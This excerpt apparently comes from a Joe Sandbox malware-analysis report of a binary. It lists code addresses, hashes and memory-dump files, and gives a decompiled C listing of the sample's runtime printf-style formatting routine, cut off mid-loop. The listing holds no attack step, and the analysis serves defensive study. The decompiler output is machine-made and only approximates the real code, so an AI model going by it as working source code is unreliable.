0x004280ce
0x004280da
0x004280dd
0x004280e3
0x004280e5
0x00000000
0x00000000
0x004280eb
0x004280eb
0x004280f4
0x004280fb
0x00428105
0x0042810c
0x0042811b
0x00428127
0x0042812a
0x00428130
0x00428137
0x00428142
0x00428142
0x00000000
0x00428142
0x00428139
0x00428139
0x00428140
0x0042814e
0x0042814e
0x00428155
0x00428159
0x00428167
0x00000000
0x0042816c
0x00000000
0x00428140
0x00428174
0x00428191
0x00428191
0x00428198
0x0042819d
0x0042819d
0x004281a0
0x004281a2
0x004281a9
0x004281ad
0x004281b6
0x004281bb
0x004281a0
0x00428198
0x004281be
0x004281be
0x004281c2
0x004281ca
0x004281d2
0x004281d2
0x004281d9
0x004281d9
0x0042735f
0x00427372
0x00427377
0x00000000
0x0042738a
0x00427394
0x004273bb
0x004273a2
0x004273b3
0x004273b3
0x00427394
0x004273c5
0x004273cb
0x004273dd
0x004273e8
0x004273f4
0x00427401
0x00000000
0x00000000
0x00427407
0x0042740d
0x00000000
0x00427414
0x00427414
0x0042742c
0x00427431
0x00427436
0x004274f0
0x00427503
0x00427508
0x00000000
0x0042743c
0x0042744f
0x00427454
0x0042745a
0x0042745c
0x00427465
0x00427468
0x00427474
0x00427478
0x0042747e
0x00427480
0x00427485
0x00427487
0x0042748c
0x00427491
0x00427493
0x00427498
0x0042749e
0x004274a0
0x004274a0
0x0042749e
0x004274a1
0x004274a8
0x00000000
0x004274aa
0x004274af
0x004274cb
0x004274d3
0x004274e0
0x004274e5
0x00000000
0x004274e5
0x004274a8
0x00000000
0x00427510
0x00427510
0x00427517
0x0042751a
0x0042751d
0x00427520
0x00427523
0x00427526
0x00427529
0x00427530
0x00427537
0x00000000
0x00000000
0x00427543
0x00427543
0x0042754a
0x00427556
0x00427559
0x0042755f
0x00427566
0x00000000
0x00000000
0x00427568
0x00427568
0x0042756e
0x0042756e
0x00427575
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004275b8
0x004275b8
0x004275bf
0x004275c2
0x004275ec
0x004275ef
0x004275ef
0x004275f2
0x004275f9
0x004275f9
0x004275fd
0x004275c4
0x004275c4
0x004275d0
0x004275d3
0x004275d7
0x004275d9
0x004275dc
0x004275dc
0x004275df
0x004275e5
0x004275e7
0x004275e7
0x004275ea
0x00427600
0x00000000
0x00000000
0x00427605
0x00427605
0x00000000
0x00000000
0x00427611
0x00427611
0x00427618
0x0042761b
0x0042763b
0x0042763e
0x0042763e
0x00427648
0x00427648
0x0042764c
0x0042761d
0x0042761d
0x00427629
0x0042762c
0x00427630
0x00427632
0x00427632
0x00427639
0x00000000
0x00000000
0x00427654
0x00427654
0x0042765b
0x00427667
0x0042766a
0x00427670
0x00427677
0x0042778a
0x00000000
0x0042778a
0x0042767d
0x0042767d
0x00427683
0x00427683
0x0042768a
0x00000000
0x004276c0
0x004276c0
0x004276c3
0x004276c6
0x004276c9
0x004276f1
0x004276f1
0x004276f4
0x004276f7
0x004276fa
0x0042771f
0x0042771f
0x00427722
0x00427725
0x00427728
0x00427761
0x00427772
0x00000000
0x00427772
0x0042772a
0x0042772a
0x0042772d
0x00427730
0x00427733
0x00000000
0x00000000
0x00427735
0x00427735
0x00427738
0x0042773b
0x0042773e
0x00000000
0x00000000
0x00427740
0x00427740
0x00427743
0x00427746
0x00427749
0x00000000
0x00000000
0x0042774b
0x0042774b
0x0042774e
0x00427751
0x00427754
0x00000000
0x00000000
0x00427756
0x00427756
0x00427759
0x0042775c
0x0042775f
0x00427763
0x00000000
0x00427763
0x00000000
0x0042775f
0x004276fc
0x004276fc
0x004276ff
0x00427703
0x00427706
0x00000000
0x00427708
0x0042770b
0x0042770e
0x00427711
0x00427714
0x0042771a
0x00000000
0x0042771a
0x00427706
0x004276cb
0x004276cb
0x004276ce
0x004276d2
0x004276d5
0x00000000
0x004276d7
0x004276da
0x004276dd
0x004276e0
0x004276e3
0x004276e9
0x00000000
0x004276e9
0x00000000
0x00427774
0x00427777
0x0042777a
0x00000000
0x00000000
0x00427691
0x00427691
0x00427694
0x00427697
0x0042769a
0x004276b2
0x004276b5
0x004276b5
0x004276b8
0x0042769c
0x0042769f
0x004276a2
0x004276a8
0x004276ad
0x004276ad
0x00000000
0x00000000
0x0042777f
0x0042777f
0x00427782
0x00427782
0x00427787
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042778f
0x0042778f
0x00427796
0x004277a2
0x004277a5
0x004277ab
0x004277b2
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd7
0x00000000
0x00000000
0x00000000
0x00427fd7
0x00427fd3
0x004277b8
0x004277be
0x004277be
0x004277c5
0x00000000
0x00427b1f
0x00427b1f
0x00427b26
0x00427b2d
0x00427b2d
0x00427b30
0x00000000
0x00000000
0x004277cc
0x004277cf
0x004277cf
0x004277d5
0x004277d7
0x004277da
0x004277da
0x004277df
0x004277df
0x00000000
0x00000000
0x0042790c
0x0042790f
0x0042790f
0x00427914
0x00427916
0x00427919
0x00427919
0x0042791f
0x0042791f
0x00000000
0x00000000
0x00427cec
0x00427cec
0x00427d02
0x00427d02
0x00427d0c
0x00427d0c
0x00427d12
0x00427d14
0x00427d1e
0x00427d1e
0x00427d21
0x00427d24
0x00427d24
0x00000000
0x00000000
0x00427876
0x00427876
0x00427882
0x00427888
0x0042788f
0x0042789d
0x0042789d
0x004278a3
0x004278a6
0x004278b2
0x00427907
0x00000000
0x00427907
0x00427891
0x00427891
0x00427897
0x0042789b
0x004278b7
0x004278ba
0x004278ba
0x004278c0
0x004278e8
0x004278ef
0x004278f5
0x004278f8
0x004278fb
0x00427901
0x00427904
0x004278c2
0x004278c2
0x004278c8
0x004278cb
0x004278ce
0x004278d4
0x004278d7
0x004278da
0x004278dc
0x004278df
0x004278df
0x00000000
0x004278c0
0x00000000
0x00000000
0x00427b36
0x00427b39
0x00427b3c
0x00427b3f
0x00427b45
0x00427b48
0x00427b4f
0x00427b53
0x00427b5e
0x00427b5e
0x00427b62
0x00427b79
0x00427b79
0x00427b80
0x00427b82
0x00427b82
0x00427b89
0x00427b89
0x00427b90
0x00427ba1
0x00427bb0
0x00427bb3
0x00427bb7
0x00427bcd
0x00427bb9
0x00427bb9
0x00427bbc
0x00427bc2
0x00427bc8
0x00427bc8
0x00427bb7
0x00427bd7
0x00427bda
0x00427bdd
0x00427be0
0x00427be0
0x00427be3
0x00427be3
0x00427be6
0x00427bec
0x00427bf2
0x00427bfa
0x00427bfb
0x00427bfe
0x00427bff
0x00427c02
0x00427c03
0x00427c0a
0x00427c0b
0x00427c0e
0x00427c0f
0x00427c12
0x00427c13
0x00427c19
0x00427c1a
0x00427c28
0x00427c2a
0x00427c30
0x00427c30
0x00427c36
0x00427c38
0x00427c3c
0x00427c3e
0x00427c46
0x00427c47
0x00427c4a
0x00427c4b
0x00427c59
0x00427c5b
0x00427c5b
0x00427c3c
0x00427c5e
0x00427c65
0x00427c68
0x00427c6d
0x00427c6d
0x00427c73
0x00427c75
0x00427c7d
0x00427c7e
0x00427c81
0x00427c82
0x00427c91
0x00427c93
0x00427c93
0x00427c73
0x00427c96
0x00427c99
0x00427c9c
0x00427c9f
0x00427ca4
0x00427caa
0x00427cad
0x00427cb0
0x00427cb0
0x00427cb3
0x00427cb3
0x00427cb6
0x00427cc2
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd7
0x00000000
0x00000000
0x00000000
0x00427fd7
0x00000000
0x00427fd3
0x00427b64
0x00427b64
0x00427b6b
0x00427b6e
0x00000000
0x00000000
0x00427b70
0x00427b70
0x00000000
0x00427b70
0x00427b55
0x00427b55
0x00000000
0x00000000
0x004277e2
0x004277e5
0x004277e5
0x004277eb
0x00427842
0x00427846
0x0042784e
0x00427855
0x0042785b
0x00427861
0x00427868
0x00427868
0x0042786e
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd7
0x00000000
0x00000000
0x00000000
0x00427fd7
0x00427fd3
0x004277ed
0x004277ed
0x004277f7
0x004277fb
0x00427803
0x0042780a
0x00427817
0x0042781e
0x0042782a
0x00427830
0x00427837
0x00427839
0x00427839
0x00427840
0x00000000
0x00000000
0x00427cca
0x00427ccd
0x00427cd0
0x00427cd3
0x00427d4b
0x00427d4e
0x00427d4e
0x00427d53
0x00427d75
0x00427d75
0x00427d7b
0x00427d9d
0x00427d9d
0x00427da0
0x00427de7
0x00427de7
0x00427dea
0x00427e07
0x00427e0b
0x00427e13
0x00427e13
0x00427e15
0x00427e1b
0x00427dec
0x00427dec
0x00427df0
0x00427df8
0x00427df9
0x00427dff
0x00427dff
0x00427da2
0x00427da5
0x00427da5
0x00427da8
0x00427dc6
0x00427dd2
0x00427dd5
0x00427dd6
0x00427ddc
0x00427daa
0x00427daa
0x00427dae
0x00427db6
0x00427db7
0x00427db8
0x00427dbe
0x00427dbe
0x00427de2
0x00427d7d
0x00427d7d
0x00427d89
0x00427d8f
0x00427d8f
0x00427d55
0x00427d55
0x00427d61
0x00427d67
0x00427d67
0x00427e24
0x00427e24
0x00427e27
0x00000000
0x00000000
0x00000000
0x00427a28
0x00427a28
0x00427a34
0x00427a3a
0x00427a3f
0x00427a41
0x00427aeb
0x00427aee
0x00427aee
0x00427af1
0x00427b05
0x00427b0b
0x00427b11
0x00427af3
0x00427af3
0x00427b00
0x00427b00
0x00427b13
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd7
0x00000000
0x00000000
0x00000000
0x00427fd7
0x00427fd3
0x00427a47
0x00427a47
0x00427a47
0x00427a49
0x00427a57
0x00427a4b
0x00427a4b
0x00427a4b
0x00427a61
0x00427a67
0x00427a6d
0x00427a74
0x00427a76
0x00427a7b
0x00427a7d
0x00427a82
0x00427a87
0x00427a89
0x00427a8e
0x00427a91
0x00427a94
0x00427a96
0x00427a96
0x00427a94
0x00427a97
0x00427a9e
0x00427ae6
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd7
0x00000000
0x00000000
0x00000000
0x00427fd7
0x00427aa0
0x00427aa0
0x00427aa5
0x00427ac1
0x00427ac9
0x00427ad3
0x00427ad6
0x00427adb
0x004281f8
0x00428205
0x00428205
0x00000000
0x00427d2d
0x00427d2d
0x00427d37
0x00427d37
0x00427d3d
0x00427d3f
0x00427d42
0x00427d42
0x00427d48
0x00427d48
0x00427d4b
0x00427d4b
0x00427d4e
0x00427d4e
0x00427d53
0x00427d75
0x00427d75
0x00427d7b
0x00427d9d
0x00427d9d
0x00427da0
0x00427de7
0x00427de7
0x00427dea
0x00427e07
0x00427e0b
0x00427e13
0x00427e13
0x00427e15
0x00427e1b
0x00427dec
0x00427dec
0x00427df0
0x00427df8
0x00427df9
0x00427dff
0x00427dff
0x00427da2
0x00427da5
0x00427da5
0x00427da8
0x00427dc6
0x00427dd2
0x00427dd5
0x00427dd6
0x00427ddc
0x00427daa
0x00427daa
0x00427dae
0x00427db6
0x00427db7
0x00427db8
0x00427dbe
0x00427dbe
0x00427de2
0x00427d7d
0x00427d7d
0x00427d89
0x00427d8f
0x00427d8f
0x00427d55
0x00427d55
0x00427d61
0x00427d67
0x00427d67
0x00427e24
0x00427e24
0x00427e27
0x00000000
0x00000000
0x00000000
0x00427e27
0x00000000
0x00427ce5
0x00427ce5
0x00000000
0x00000000
0x00427922
0x00427922
0x00427926
0x00427934
0x00427937
0x00427928
0x00427928
0x00427928
0x0042793d
0x00427943
0x00427949
0x00427955
0x0042795b
0x0042795b
0x00427961
0x004279c8
0x004279c8
0x004279cc
0x004279ce
0x004279d4
0x004279d4
0x004279d7
0x004279da
0x004279e0
0x004279e0
0x004279e0
0x004279ec
0x004279ef
0x004279f5
0x004279f7
0x00000000
0x00000000
0x004279f9
0x004279f9
0x004279ff
0x00427a02
0x00427a04
0x00000000
0x00000000
0x00427a06
0x00427a0c
0x00427a0f
0x00427a0f
0x00427a17
0x00427a17
0x00427a1d
0x00427a1d
0x00427a20
0x00000000
0x00427963
0x00427963
0x00427963
0x00427967
0x00427969
0x0042796e
0x0042796e
0x00427971
0x00427978
0x0042797b
0x00427981
0x00427981
0x00427981
0x0042798d
0x00427990
0x00427996
0x00427998
0x00000000
0x00000000
0x0042799a
0x0042799a
0x004279a0
0x004279a3
0x004279a5
0x00000000
0x00000000
0x004279a7
0x004279ad
0x004279b0
0x004279b0
0x004279b8
0x004279be
0x004279c1
0x004279c3
0x00427a23
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd7
0x00000000
0x00000000
0x00000000
0x00427fd7
0x00427fd3
0x00000000
0x00427cdc
0x00427cdc
0x00427d4b
0x00427d4b
0x00427d4e
0x00427d4e
0x00427d53
0x00427d75
0x00427d75
0x00427d7b
0x00427d9d
0x00427d9d
0x00427da0
0x00427de7
0x00427de7
0x00427dea
0x00427e07
0x00427e0b
0x00427e13
0x00427e13
0x00427e15
0x00427e1b
0x00427dec
0x00427dec
0x00427df0
0x00427df8
0x00427df9
0x00427dff
0x00427dff
0x00427da2
0x00427da5
0x00427da5
0x00427da8
0x00427dc6
0x00427dd2
0x00427dd5
0x00427dd6
0x00427ddc
0x00427daa
0x00427daa
0x00427dae
0x00427db6
0x00427db7
0x00427db8
0x00427dbe
0x00427dbe
0x00427de2
0x00427d7d
0x00427d7d
0x00427d89
0x00427d8f
0x00427d8f
0x00427d55
0x00427d55
0x00427d61
0x00427d67
0x00427d67
0x00427e24
0x00427e24
0x00427e27
0x00000000
0x00000000
0x00000000
0x00427e27
0x00000000
0x00000000
0x00000000
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd7
0x00000000
0x00000000
0x00000000
0x00427fd7
0x00000000
0x00000000
0x00427592
0x00427595
0x00427598
0x00000000
0x00000000
0x0042759d
0x004275a0
0x004275a5
0x00000000
0x00000000
0x00427587
0x00427587
0x0042758a
0x0042758d
0x00000000
0x00000000
0x0042757c
0x0042757f
0x00427582
0x00000000
0x00000000
0x004275aa
0x004275aa
0x004275ad
0x004275ad
0x004275b0
0x00000000
0x00000000
0x004275b3
0x00000000
0x00000000
0x0042740d
0x004281de
0x004281e4
0x004281ed
0x004281f2
0x00000000
0x004281f2
0x00427fd3
0x00427faa
0x00427faa
0x00427fae
0x00427fbb
0x00427fbe
0x00427fc1
0x00427fc4
0x00427fc7
0x00427fca
0x00427fcd
0x00427fcd
0x00427fd0
0x00000000
0x00427fd0
0x00427fb0
0x00427fb0
0x00427fb3
0x00427fb6
0x00427fb9
0x00000000
0x00000000
0x00000000
0x00427fb9
0x00427f12
0x00427f12
0x00427f15
0x00427f18
0x00427f1f
0x00427f26
0x00427f2e
0x00427f34
0x00427f37
0x00427f3a
0x00427f41
0x00427f4d
0x00427f53
0x00427f59
0x00427f60
0x00427f62
0x00427f68
0x00427f68
0x00427f6e
0x00427f6e
0x00427f74
0x00427f77
0x00427f7d
0x00427f82
0x00427f85
0x00427ef4
0x00427ef4
0x00427efa
0x00427efd
0x00427f00
0x00427f02
0x00000000
0x00000000
0x00000000
0x00427f02
0x00427ef4
0x00427e34
0x00427e34
0x00427e3b
0x00000000
0x00000000
0x00000000
0x00427e69
0x00427e69
0x00427e6f
0x00427e75
0x00427e7b
0x00000000
0x00427e7b
0x00427d4b
0x00427d02

APIs

_get_int64_arg.LIBCMTD ref: 00427D59
__aullrem.LIBCMT ref: 00427F26
__aulldiv.LIBCMT ref: 00427F48

Strings

0, xrefs: 00427D14
', xrefs: 00427CF8
9, xrefs: 00427F59

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction ID: 5f3f80efd45a89cae13f5949a7328329669916393693fe6601c292d4e828a580
Opcode Fuzzy Hash: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction Fuzzy Hash: 13410371E092298FDB64DF48D989BAEB7B5BF44300F5045DAE009AB341C7389E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434F67, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00434F67(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428310(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428310(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428310(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E004356D0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00435710( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004356D0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00435710(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E004341E0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E00435710( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E004356D0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C4F0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407E18) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
